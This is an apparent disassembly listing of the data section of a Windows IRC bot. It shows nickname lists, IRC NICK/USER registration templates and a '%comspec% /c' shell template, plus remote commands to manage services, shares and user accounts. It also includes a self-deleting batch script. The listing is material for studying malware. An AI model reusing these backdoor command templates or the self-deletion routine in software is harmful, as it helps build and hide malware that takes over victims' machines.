aYeah db 'yeah',0 ; DATA XREF: ___:0043874Co
align 4
aAha db 'aha',0 ; DATA XREF: ___:00438748o
aShit db 'shit',0 ; DATA XREF: ___:00438744o
align 4
aGurl db 'gurl',0 ; DATA XREF: ___:00438740o
align 10h
aGirl_0 db 'GIRL',0 ; DATA XREF: ___:0043873Co
align 4
off_4387F8 dd offset word_594F42 ; DATA XREF: ___:00438738o
aFree db 'Free',0 ; DATA XREF: ___:00438724o
align 4
aFuck_0 db 'Fuck',0 ; DATA XREF: ___:00438720o
align 4
aSleeping db 'Sleeping',0 ; DATA XREF: ___:00438714o
align 4
aF_2 db '^^^f^',0 ; DATA XREF: ___:00438708o
align 10h
aSad db 'Sad',0 ; DATA XREF: ___:00438704o
aLuvu db 'LUVU',0 ; DATA XREF: ___:00438700o
align 4
a___0 db '_|_',0 ; DATA XREF: ___:004386E4o
aBbl db '|bbl',0 ; DATA XREF: ___:004386D8o
align 4
off_438838 dd offset loc_425242 ; DATA XREF: ___:004386D4o
aMuckc db 'muckc',0 ; DATA XREF: ___:004386C0o
align 4
aTruck db 'truck',0 ; DATA XREF: ___:004386BCo
align 4
aTrimy db 'trimy',0 ; DATA XREF: ___:004386B8o
align 4
aLuvy db 'luvy',0 ; DATA XREF: ___:004386B4o
align 4
aUi db 'ui',0 ; DATA XREF: ___:004386B0o
align 10h
aSdf db 'sdf',0 ; DATA XREF: ___:004386ACo
aRt db 'rt',0 ; DATA XREF: ___:004386A8o
align 4
aGf db 'gf',0 ; DATA XREF: ___:004386A4o
align 4
aTy db 'ty',0 ; DATA XREF: ___:004386A0o
align 10h
aRg db 'rg',0 ; DATA XREF: ___:0043869Co
align 4
aHappy db 'happy',0 ; DATA XREF: ___:00438698o
align 4
aRs db 'rs',0 ; DATA XREF: ___:00438678o
align 10h
aQ8A db '|q8|a',0 ; DATA XREF: ___:00438630o
align 4
aQ8 db 'Q8',0 ; DATA XREF: ___:0043862Co
align 4
aSick db 'sick}}',0 ; DATA XREF: ___:00438628o
align 4
aWiked db '|wiked|',0 ; DATA XREF: ___:00438624o
aLuvuF db '||luvu-f|',0 ; DATA XREF: ___:00438620o
align 4
aGens db '{gens|',0 ; DATA XREF: ___:0043861Co
align 10h
aSex_0 db '{sex}',0 ; DATA XREF: ___:00438618o
align 4
aHub db '{hub}',0 ; DATA XREF: ___:00438614o
align 10h
aLuck db '|luck|',0 ; DATA XREF: ___:00438610o
align 4
aSuck db '|suck|',0 ; DATA XREF: ___:0043860Co
align 10h
aTot db '-|tot|',0 ; DATA XREF: ___:00438608o
align 4
aWoh db '|woh|',0 ; DATA XREF: ___:00438604o
align 10h
aTambe db '|tambe|',0 ; DATA XREF: ___:00438600o
aLag db 'lag',0 ; DATA XREF: ___:004385FCo
aBad db 'bad',0 ; DATA XREF: ___:004385F8o
aTree db 'tree',0 ; DATA XREF: ___:004385F4o
align 4
aZex db 'zex',0 ; DATA XREF: ___:004385F0o
aLez db 'lez',0 ; DATA XREF: ___:004385ECo
aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: ___:004385E4o
align 4
aCumhur29 db 'cumhur29',0 ; DATA XREF: ___:004385E0o
align 4
aAdamm db 'ADAMM',0 ; DATA XREF: ___:004385DCo
align 10h
aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: ___:004385D8o
align 4
aPrometheus db 'prometheus',0 ; DATA XREF: ___:004385D4o
align 4
aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:004385D0o
align 4
aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:004385CCo
align 10h
aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:004385C8o
align 4
aCem39 db 'cem39',0 ; DATA XREF: ___:004385C4o
align 10h
aCool30m db 'cool30m',0 ; DATA XREF: ___:004385C0o
aTropikal db 'tropikal',0 ; DATA XREF: ___:004385BCo
align 4
aPassenger db 'passenger',0 ; DATA XREF: ___:004385B8o
align 10h
aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:004385B4o
align 4
aUla db 'ula',0 ; DATA XREF: ___:004385B0o
aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:004385ACo
aAkden db 'akden',0 ; DATA XREF: ___:004385A8o
align 10h
aKoray db 'KORAY',0 ; DATA XREF: ___:004385A4o
align 4
aAta29 db 'Ata29',0 ; DATA XREF: ___:004385A0o
align 10h
aFirtina db 'firtina',0 ; DATA XREF: ___:0043859Co
aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00438598o
aM41ist db 'M41IST',0 ; DATA XREF: ___:00438594o
align 4
aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00438590o
align 4
aAdem28 db 'Adem28',0 ; DATA XREF: ___:0043858Co
align 4
aAnkm db 'ankM',0 ; DATA XREF: ___:00438588o
align 4
aErkan db 'erkan',0 ; DATA XREF: ___:00438584o
align 4
aDevre db 'devre',0 ; DATA XREF: ___:00438580o
align 4
aYabanc db 'yabanc',0 ; DATA XREF: ___:0043857Co
align 4
aBirsen db 'birsen',0 ; DATA XREF: ___:00438578o
align 4
aA44m db 'a44m',0 ; DATA XREF: ___:00438574o
align 4
aAlcatras db 'alcatras',0 ; DATA XREF: ___:00438570o
align 4
off_438A18 dd offset byte_4B5245 ; DATA XREF: ___:0043856Co
aSevda db 'sevda',0 ; DATA XREF: ___:00438568o
align 4
aKotan db 'kotan',0 ; DATA XREF: ___:00438564o
align 4
aTegmen db 'TEGMEN',0 ; DATA XREF: ___:00438560o
align 4
aAchilles db 'Achilles',0 ; DATA XREF: ___:0043855Co
align 10h
aKapk db 'kapk',0 ; DATA XREF: ___:00438558o
align 4
aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:00438554o
align 4
aHayran db 'hayran',0 ; DATA XREF: ___:00438550o
align 4
aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:0043854Co
align 4
aAnkar db 'Ankar',0 ; DATA XREF: ___:00438548o
align 10h
aDjspace db 'DJSPACE',0 ; DATA XREF: ___:00438544o
aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:00438540o
align 4
aUmut db 'umut-',0 ; DATA XREF: ___:0043853Co
align 4
aAdalim db 'ADALIM',0 ; DATA XREF: ___:00438538o
align 4
aKumul db 'kumul',0 ; DATA XREF: ___:00438534o
align 4
aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:00438530o
aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:0043852Co
align 10h
aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:00438528o
align 4
aKashmira db 'Kashmira',0 ; DATA XREF: ___:00438524o
align 4
aAykut1 db 'aykut1',0 ; DATA XREF: ___:00438520o
align 10h
aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:0043851Co
align 10h
aMahinur db 'MAHINUR',0 ; DATA XREF: ___:00438518o
aHoly db 'holy',0 ; DATA XREF: ___:00438514o
align 10h
aFlord db 'FLoRD',0 ; DATA XREF: ___:00438510o
align 4
aKebikec db 'kebikec',0 ; DATA XREF: ___:0043850Co
aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:00438508o
align 4
aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:00438504o
align 4
aEmre db 'Emre--',0 ; DATA XREF: ___:00438500o
align 10h
aRamtha db 'RAMTHA',0 ; DATA XREF: ___:004384FCo
align 4
aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:004384F8o
align 4
aHakan3 db 'hakan3',0 ; DATA XREF: ___:004384F4o
align 4
aMurat34M db 'murat34-m',0 ; DATA XREF: ___:004384F0o
align 4
aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:004384ECo
aArda db 'arda',0 ; DATA XREF: ___:004384E8o
align 4
aDevran db 'devran',0 ; DATA XREF: ___:004384E4o
align 4
aBerk19m db 'Berk19m',0 ; DATA XREF: ___:004384E0o
aDenizlim db 'DenizliM',0 ; DATA XREF: ___:004384DCo
align 4
aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:004384D8o
align 4
aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:004384D4o
align 10h
aBogac db 'bogac',0 ; DATA XREF: ___:004384D0o
align 4
aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:004384CCo
align 4
aAnkh db 'ankh',0 ; DATA XREF: ___:004384C8o
align 4
off_438BAC dd offset byte_457441 ; DATA XREF: ___:004384C4o
dword_438BB0 dd 414C5941h, 2Dh ; DATA XREF: ___:004384C0o
aAlbina db 'albina',0 ; DATA XREF: ___:004384BCo
align 10h
aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:004384B8o
align 4
aZack db 'ZACK',0 ; DATA XREF: ___:004384B4o
align 4
aAnk32m db 'ank32m',0 ; DATA XREF: ___:004384B0o
align 4
aTurkyy db 'turkyy',0 ; DATA XREF: ___:004384ACo
align 4
aAhmet db 'ahmet',0 ; DATA XREF: ___:004384A8o
align 4
aPelincik db 'pelincik',0 ; DATA XREF: ___:004384A4o
align 4
aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:004384A0o
align 4
aRetg db 'RETG',0 ; DATA XREF: ___:0043849Co
align 4
aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00438498o
align 4
aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:00438494o
aAslii db 'aslii',0 ; DATA XREF: ___:00438490o
align 4
aErnesto db 'ERNESTO',0 ; DATA XREF: ___:0043848Co
aHaticem db 'haticem',0 ; DATA XREF: ___:00438488o
aArzu db 'ARZU',0 ; DATA XREF: ___:00438484o
align 10h
aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00438480o
aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:0043847Co
align 4
aVenedik34 db 'venedik34',0 ; DATA XREF: ___:00438478o
align 10h
aTekir db 'tekir',0 ; DATA XREF: ___:00438474o
align 4
aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:00438470o
align 4
aTrend3 db 'trend3',0 ; DATA XREF: ___:0043846Co
align 4
aMelekk db 'melekk',0 ; DATA XREF: ___:00438468o
align 4
aAkin db 'AKIN',0 ; DATA XREF: ___:00438464o
align 4
aMary_0 db 'MARY',0 ; DATA XREF: ___:00438460o
align 4
aJericho db 'JERICHO',0 ; DATA XREF: ___:0043845Co
aTolga34 db 'Tolga34',0 ; DATA XREF: ___:00438458o
aMisssunday db 'misssunday',0 ; DATA XREF: ___:00438454o
align 10h
aIrmal db 'irmal',0 ; DATA XREF: ___:00438450o
align 4
aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:0043844Co
align 4
aBerk19 db 'berk19',0 ; DATA XREF: ___:00438448o
align 10h
aHexaaa db 'hexaaa',0 ; DATA XREF: ___:00438444o
align 4
aErkan27 db 'erkan27',0 ; DATA XREF: ___:00438440o
aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:0043843Co
align 4
aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:00438438o
align 4
aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:00438434o
align 4
aKencing db 'Kencing',0 ; DATA XREF: ___:00438430o
aReshma db 'reshma',0 ; DATA XREF: ___:0043842Co
align 4
aCamel db 'CAMEL',0 ; DATA XREF: ___:00438428o
align 4
aGirl db 'GirL',0 ; DATA XREF: ___:00438424o
align 4
aImra db 'imra',0 ; DATA XREF: ___:00438420o
align 4
aCoredump db 'CoreDump',0 ; DATA XREF: ___:0043841Co
align 4
aPuregold db 'puregold',0 ; DATA XREF: ___:00438418o
align 4
aKermit db 'kermit',0 ; DATA XREF: ___:00438414o
align 4
aManee db 'manee',0 ; DATA XREF: ___:00438410o
align 4
aTroller db 'troller',0 ; DATA XREF: ___:0043840Co
aLuisa db 'Luisa',0 ; DATA XREF: ___:00438408o
align 4
aNastysha db 'nastysha',0 ; DATA XREF: ___:00438404o
align 10h
aRimpy db 'rimpy',0 ; DATA XREF: ___:00438400o
align 4
aJanno db 'janno',0 ; DATA XREF: ___:004383FCo
align 10h
aBunty db 'bunty',0 ; DATA XREF: ___:004383F8o
align 4
aHeval db 'heval',0 ; DATA XREF: ___:004383F4o
align 10h
aCme db 'cme',0 ; DATA XREF: ___:004383F0o
aMarcy db 'marcy',0 ; DATA XREF: ___:004383ECo
align 4
aTalika db 'talika',0 ; DATA XREF: ___:004383E8o
align 4
aShez db 'Shez',0 ; DATA XREF: ___:004383E4o
align 4
aKen db 'ken',0 ; DATA XREF: ___:004383E0o
aFlexster db 'flexster',0 ; DATA XREF: ___:004383DCo
align 4
aKoko db 'koko',0 ; DATA XREF: ___:004383D8o
align 4
aMale db 'male',0 ; DATA XREF: ___:004383D4o
align 4
aSwin db 'swin',0 ; DATA XREF: ___:004383D0o
align 4
aCar1nna db 'Car1nna',0 ; DATA XREF: ___:004383CCo
aKrizha db 'KRIZHA',0 ; DATA XREF: ___:004383C8o
align 4
aEmilya db 'emilya',0 ; DATA XREF: ___:004383C4o
align 4
aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:004383C0o
align 4
aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:004383BCo
aFarooq db 'farooq',0 ; DATA XREF: ___:004383B8o
align 4
aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:004383B4o
align 4
aM_0: ; DATA XREF: ___:004383B0o
; ___:004386FCo
unicode 0, <M>,0
word_438E18 dw 4Eh ; DATA XREF: sub_419E7A+38r
; ___:004383ACo
align 4
dword_438E1C dd 42h ; DATA XREF: ___:004383A8o
dword_438E20 dd 56h ; DATA XREF: ___:004383A4o
dword_438E24 dd 43h ; DATA XREF: ___:004383A0o
dword_438E28 dd 58h ; DATA XREF: ___:0043839Co
; ___:00438730o
dword_438E2C dd 5Ah ; DATA XREF: ___:00438398o
dword_438E30 dd 4Ch ; DATA XREF: ___:00438394o
dword_438E34 dd 4Bh ; DATA XREF: ___:00438390o
dword_438E38 dd 4Ah ; DATA XREF: ___:0043838Co
dword_438E3C dd 48h ; DATA XREF: ___:00438388o
dword_438E40 dd 47h ; DATA XREF: ___:00438384o
dword_438E44 dd 46h ; DATA XREF: ___:00438380o
; ___:004386F8o
dword_438E48 dd 44h ; DATA XREF: ___:0043837Co
dword_438E4C dd 53h ; DATA XREF: ___:00438378o
dword_438E50 dd 50h ; DATA XREF: ___:00438370o
dword_438E54 dd 4Fh ; DATA XREF: ___:0043836Co
dword_438E58 dd 55h ; DATA XREF: ___:00438364o
word_438E5C dw 59h ; DATA XREF: sub_41A19E+38r
; ___:00438360o
align 10h
dword_438E60 dd 54h ; DATA XREF: ___:0043835Co
dword_438E64 dd 52h ; DATA XREF: ___:00438358o
dword_438E68 dd 45h ; DATA XREF: ___:00438354o
dword_438E6C dd 57h ; DATA XREF: ___:00438350o
dword_438E70 dd 51h ; DATA XREF: ___:0043834Co
dword_438E74 dd 62h ; DATA XREF: ___:00438340o
; ___:00438634o ...
dword_438E78 dd 78h ; DATA XREF: ___:00438334o
; ___:0043868Co
dword_438E7C dd 7Ah ; DATA XREF: ___:00438330o
; ___:00438694o ...
dword_438E80 dd 68h ; DATA XREF: ___:00438320o
; ___:0043864Co
dword_438E84 dd 67h ; DATA XREF: ___:0043831Co
; ___:00438648o ...
dword_438E88 dd 66h ; DATA XREF: ___:00438318o
; ___:00438644o
dword_438E8C dd 79h ; DATA XREF: ___:004382FCo
; ___:00438690o
dword_438E90 dd 77h ; DATA XREF: ___:004382ECo
; ___:00438688o
dword_438E94 dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_4177D0+B1o
dword_438EA0 dd 323334h ; DATA XREF: sub_4177D0+79o
dword_438EA4 dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_4177D0+61o
aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_4178BB+9Bo
db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
align 10h
a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417ADE+BCo
; sub_417ADE+175r ...
align 4
dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814D+72o
align 10h
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418294+1Co
align 10h
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418338+2o
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_41835A+140o
align 4
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_41835A+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_41835A+48o
align 4
unk_43901C db 2Dh ; - ; DATA XREF: sub_4184E2+9Co
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aOperatingSyste db '- operating system is not supported',0
align 4
unk_43904C db 2Dh ; - ; DATA XREF: sub_4184E2+8Fo
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedWithErro db '- failed with error code %d',0
align 4
dword_439074 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
; DATA XREF: sub_4184E2+5Co
dd 65726165h, 64h
off_439090 dd offset aAdd ; DATA XREF: sub_4186C2+60r
; sub_418A99+51r ...
; "Add"
off_439094 dd offset aAdded ; DATA XREF: sub_4186C2+2Dr
; sub_418A99+83r ...
; "Added"
dword_439098 dd 0 ; DATA XREF: sub_4186C2+18r
dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 8
dd offset aList_1 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 10h
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 439104h, 4390FCh, 2, 4390F0h, 4390E4h, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: ___:004390C4o
aStop_0 db 'Stop',0 ; DATA XREF: ___:004390C0o
align 4
aStarted db 'Started',0 ; DATA XREF: ___:004390B8o
aStart_0 db 'Start',0 ; DATA XREF: ___:004390B4o
align 4
aListed db 'Listed',0 ; DATA XREF: ___:004390ACo
align 4
aList_1 db 'List',0 ; DATA XREF: ___:004390A8o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: ___:004390A0o
aDelete_0 db 'Delete',0 ; DATA XREF: ___:0043909Co
align 4
aAdded db 'Added',0 ; DATA XREF: ___:off_439094o
align 4
aAdd db 'Add',0 ; DATA XREF: ___:off_439090o
unk_439158 db 2Dh ; - ; DATA XREF: sub_4186C2+67o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoServiceSpec db '- %s: no service specified',0
unk_43917C db 2Dh ; - ; DATA XREF: sub_4186C2+51o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0
align 4
unk_4391A8 db 2Dh ; - ; DATA XREF: sub_4186C2+33o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSServiceS db '- %s service: ',27h,'%s',27h,0
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DE+12Co
align 4
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4187DE:loc_4188F6o
align 4
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4187DE:loc_4188EFo
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_4187DE:loc_4188E8o
db 'the state of the service.',0
align 4
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_4187DE:loc_4188E1o
align 4
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_4187DE:loc_4188DAo
db ' correct access rights.',0
align 10h
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_4187DE:loc_4188D3o
align 4
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4187DE:loc_4188CCo
align 4
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_4187DE:loc_4188C5o
align 4
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_4187DE:loc_4188BEo
db 'marked for deletion.',0
align 4
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_4187DE:loc_4188B7o
align 4
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_4187DE:loc_41888Co
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_4187DE:loc_418885o
db ' the service.',0
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_4187DE:loc_41887Eo
db 'tServiceCtrlDispatcher.',0
align 4
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_4187DE:loc_418877o
align 4
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4187DE+8Fo
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_4187DE:loc_41884Co
db 'dependent on it.',0
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_4187DE:loc_418842o
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_4187DE:loc_418838o
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4187DE:loc_41882Eo
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_4187DE:loc_418824o
align 4
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DE+3Co
align 10h
aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_41895C+EBo
aStopped db ' Stopped',0 ; DATA XREF: sub_41895C:loc_418A28o
aStarting db ' Starting',0 ; DATA XREF: sub_41895C:loc_418A21o
aStoping db ' Stoping',0 ; DATA XREF: sub_41895C:loc_418A1Ao
aRunning db ' Running',0 ; DATA XREF: sub_41895C:loc_418A13o
aContinuing db ' Continuing',0 ; DATA XREF: sub_41895C:loc_418A0Co
aPausing db ' Pausing',0 ; DATA XREF: sub_41895C:loc_418A05o
aPaused_0 db ' Paused',0 ; DATA XREF: sub_41895C:loc_4189FEo
aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_41895C+9Bo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_41895C+25o
align 4
unk_4396FC db 2Dh ; - ; DATA XREF: sub_418A99+ACo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoShareSpecif db '- %s: no share specified',0
align 10h
dword_439720 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
; DATA XREF: sub_418A99+8Ao
dd 73252720h, 27h
unk_43973C db 2Dh ; - ; DATA XREF: sub_418A99+58o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0
align 4
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8F+D0o
align 10h
aNo db 'No',0 ; DATA XREF: sub_418C8F+BCo
align 4
aYes db 'Yes',0 ; DATA XREF: sub_418C8F+B5o
unk_439788 db 2Dh ; - ; DATA XREF: sub_418C8F+76o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListError db '- share list error %s <%ld>',0
align 10h
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_418C8F+26o
align 4
unk_4397E8 db 2Dh ; - ; DATA XREF: sub_418DB0+B7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoUsernameSpe db '- %s: no username specified',0
align 10h
unk_439810 db 2Dh ; - ; DATA XREF: sub_418DB0+95o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0
align 10h
unk_439840 db 2Dh ; - ; DATA XREF: sub_418DB0+6Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSUsernameS db '- %s username: ',27h,'%s',27h,0
align 10h
unk_439860 db 2Dh ; - ; DATA XREF: sub_418EF7+3AFo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserInfoErrorL db '- user info error <%ld>',0
align 4
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF7+385o
align 4
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF7+35Ao
align 4
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF7+32Fo
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_418EF7+304o
align 4
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_418EF7+2D9o
align 4
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_418EF7+2AEo
align 4
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_418EF7+283o
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_418EF7+258o
align 4
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF7+22Do
align 4
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF7+202o
align 4
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_418EF7+1D7o
align 10h
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_418EF7+1ACo
align 10h
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_418EF7+181o
align 4
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_418EF7+156o
align 4
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF7+12Bo
aGuest db 'Guest',0 ; DATA XREF: sub_418EF7:loc_419016o
align 10h
aUser_1 db 'User',0 ; DATA XREF: sub_418EF7:loc_41900Fo
align 4
aAdministrator db 'Administrator',0 ; DATA XREF: sub_418EF7:loc_419008o
align 4
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_418EF7+DAo
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_418EF7+AFo
align 4
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_418EF7+84o
align 4
aAccountS db 'Account: %S',0 ; DATA XREF: sub_418EF7+50o
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4192E0+14Fo
align 4
unk_439A1C db 2Dh ; - ; DATA XREF: sub_4192E0+F7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aAnAccessViolat db '- an access violation has occured',0
align 4
aS_4 db ' %S',0 ; DATA XREF: sub_4192E0+BEo
align 10h
unk_439A50 db 2Dh ; - ; DATA XREF: sub_4192E0+7Ao
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListErrorS db '- user list error %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4192E0+29o
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_419460:loc_41957Do
align 4
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_419460:loc_419576o
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_419460:loc_41956Fo
align 10h
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_419460:loc_419568o
align 10h
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_419460:loc_419561o
align 4
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_419460:loc_419544o
db 'ord policy requirement.)',0
align 4
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_419460:loc_41953Do
align 4
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_419460:loc_419536o
align 4
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_419460+CFo
db ' the domain.',0
align 4
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_419460:loc_41950Bo
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_419460:loc_419504o
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_419460:loc_4194FDo
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_419460:loc_4194F3o
align 10h
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_419460+89o
align 4
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_419460:loc_4194CDo
align 10h
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_419460:loc_4194C3o
align 10h
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_419460:loc_4194B9o
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_419460:loc_4194AFo
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_419460:loc_4194A5o
align 4
